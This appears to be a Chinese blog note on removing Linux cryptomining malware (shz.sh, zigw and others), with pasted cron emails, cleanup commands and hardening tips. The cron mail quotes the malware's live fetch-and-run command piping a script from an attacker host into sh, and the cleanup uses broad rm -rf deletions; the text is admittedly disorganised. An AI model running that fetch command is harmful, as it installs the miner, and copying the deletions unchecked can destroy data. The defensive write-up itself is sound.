<XDG_SESSION_ID=7533> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064601.B35241F0064@localhost.localdomain> Date: Tue, 27 Nov 2018 14:46:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:47:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id BDC651F0064; Tue, 27 Nov 2018 14:47:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7534> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064701.BDC651F0064@localhost.localdomain> Date: Tue, 27 Nov 2018 14:47:01 +0800 (CST) /bin/sh: curl: command not found
基本的修復辦法：
在/etc或/tmp下建立shz.sh和zigw文件，並設置了特殊權限，這次發現是在/etc中；同時會建立ssh免密登陸的密鑰。殺掉進程、修改權限並刪除該文件。
# rm -rf ~/.ssh # ps -aux | grep zigw # kill -9 <進程號> # ps -aux | grep shz # kill -9 <進程號> # chattr -i /etc/shz.sh /etc/zigw # rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2
查看任務計劃的配置文件，並刪除相應內容
# ls -alh /etc/cron.d/ # rm -f /etc/cron.d/root
恢復服務器中的js文件(其中grep的參數爲小寫的L)
# find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d'
所以惡意腳本中刪除了全部防火牆規則，修改了一些文件。通過一番折騰，更新後恢復正常。
得出結論：比較簡單的解決方法就是更新或重裝（好像重建docker網絡也不難）。
1.2 查殺方法
首先刪除 /etc/crontab 文件中的定時任務，並保護該文件再也不被病毒修改：
$ sudo chattr +i /etc/crontab
而後定位病毒的主進程，這須要經過 top 命令查看，每每 CPU 佔用率最高的進程就是了，在個人例子中 8421 就是。定位後讓其暫停執行，這時網絡發包就會停下來了，同時也不會再不停的生成新進程了。
$ sudo kill -stop 8421
接下來解決病毒產生的自啓動文件，注意：具體的文件名稱可能會有所不一樣，你們要根據本身的狀況對應修改，領外 /etc/rc*.d/ 的 S01* 文件都是指向 /etc/init.d/ 裏的啓動腳本的軟連接，並且是從 rc1.d 一直到 rc5.d 中都有，由於是軟連接，也能夠不用刪除。
$ rm -r /etc/init.d/yjrfdbdkfs $ rm -r /etc/rc1.d/S01yjrfdbdkfs
......
病毒啓動腳本中調用的可執行文件也要刪掉，文件存放在 /bin 和 /usr/bin 目錄下，和啓動腳本的名字是一致的，另外你們要留意一下是否有其餘文件也被作了篡改，能夠用時間倒序排列這兩個目錄下的文件，日期很新的都頗有多是被修改過的，都須要刪除。下面這個例子中，dsxictdfoedxaj 文件明顯就是有問題的。
$ ls -lrt /bin/ ...... -rwxr-xr-x 1 root root 23152 May 14 12:42 kill lrwxrwxrwx 1 root root 20 Jun 11 12:37 mt -> /etc/alternatives/mt lrwxrwxrwx 1 root root 24 Jun 11 12:37 netcat -> /etc/alternatives/netcat lrwxrwxrwx 1 root root 20 Jun 11 12:37 nc -> /etc/alternatives/nc -rwxr-xr-x 1 root root 562346 Oct 24 13:25 dsxictdfoedxaj $ rm -r dsxictdfoedxaj $ ls -lrt /usr/bin/ ...... -rwxr-xr-x 1 root root 562346 Oct 24 11:32 yjrfdbdkfs -rwxr-xr-x 1 root root 562346 Oct 24 11:32 yjrfdbdkfs.sh $ rm -r /usr/bin/yjrfdbdkfs*
病毒在 /etc/cron.hourly/ 目錄下產生的定時任務文件也要刪掉，
$ rm -r /etc/cron.hourly/*.sh
最後，刪掉 libudev.so ，再殺掉進程就算是大功告成了：
$ sudo rm -r /lib/libudev.so* $ sudo kill -9 8421
2.2 查殺方法
病毒的工做方法和上一個是相似的，也是會加載一個任務，並啓動多個進程，互相監控和保護，只是細節有些不一樣。
該病毒定時任務是寫進了文件：/var/spool/cron/root，須要對應刪除裏面的內容。
而後要刪除病毒的啓動腳本：
$ sudo rm /etc/shz.sh
找到病毒的主進程（找到主進程的方式和以前也差很少，找 CPU 佔用率最高的進程就能夠了。），並停掉：
$ sudo kill -stop 23701 24192
刪除主進程的配置文件和可執行文件：
$ sudo rm /etc/conf.json $ sudo rm /etc/zjgw
刪除其餘病毒添加的文件：
$ sudo rm /etc/conf.n $ sudo rm /etc/zaker
最後殺掉進程便可：
$ sudo kill -9 23701 24192
另外 /tmp 目錄下也會有一些殘留文件，一併刪除吧：
# ll /tmp/ total 40 drwxrwxrwt 8 root root 4096 Oct 24 03:10 ./ drwxr-xr-x 24 root root 4096 Oct 23 06:18 ../ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .ICE-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .Test-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .X11-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .XIM-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .font-unix/ -rwxr-xr-x 1 root root 5 Oct 18 13:48 gates.lod* -rwxr-xr-x 1 root root 5 Oct 18 13:48 moni.lod* drwx------ 3 root root 4096 Oct 18 13:47 systemd-private-8292a854ab55417a91c7b42f6360aa75-systemd-timesyncd.service-dTAzr3/ -rw-r--r-- 1 root root 0 Oct 18 13:49 tmp.l # rm gates.lod moni.lod tmp.l
有個小細節補充一下，在刪除/usr/bin中的文件時候，存在1863條記錄，比較多。能夠換個思路進行，幾條命令供參考：
awk '{print $7,$9}' aa.sh > bb.sh sed -i 's/27/rm -rf g' bb.sh ls -lrt
3 總結
本次服務器感染病毒，形成了一點影響，耽誤了一點時間來處理，可是其實還挺有意思的。
主要的問題是由於 root 用戶使用了強度較弱的口令，同時在公網暴露了 SSH 端口，另外虛擬機的基礎鏡像中就已經攜帶了病毒，形成每一個產生的實例啓動後都帶上了病毒。
因此基礎的安防工做仍是要從如下幾個方面入手：
- 減小公網暴露的端口數量；
- 禁止使用 root 用戶進行 SSH 登陸；
- 增強用戶口令的強度；
- 對基礎鏡像作安全檢查；
- 增強對線上服務的監控並設置告警規則。
參考：
其餘資料：
看起來搞定了...
時間緊張，還有一堆事情得處理。
整理的比較亂，後續抽空在詳細描述。。。。
。。
相關文章
- 1. 門羅幣（xmr,XMR）挖礦教程
- 2. 門羅幣(xmr,XMR)挖礦教程
- 3. XMR惡意挖礦腳本處理筆記
- 4. 轉：Linux常見挖礦病毒查殺
- 5. 門羅XMR挖礦安裝教程
- 6. 門羅幣(XMR)挖礦教程
- 7. 門羅幣 xmr 超級詳細的CPU xmr挖礦教程
- 8. zigw病毒清除
- 9. Ubuntu系統下XMR門羅幣xmr-stak-cpu挖礦教程
- 10. 「匿影」挖礦病毒半手動查殺記錄
- 更多相關文章...
- • ADO 添加記錄 - ADO 教程
- • ADO 更新記錄 - ADO 教程
- • 適用於PHP初學者的學習線路和建議
- • IntelliJ IDEA 代碼格式化配置和快捷鍵
相關標籤/搜索
每日一句
-
每一个你不满意的现在，都有一个你没有努力的曾经。
歡迎關注本站公眾號,獲取更多信息
相關文章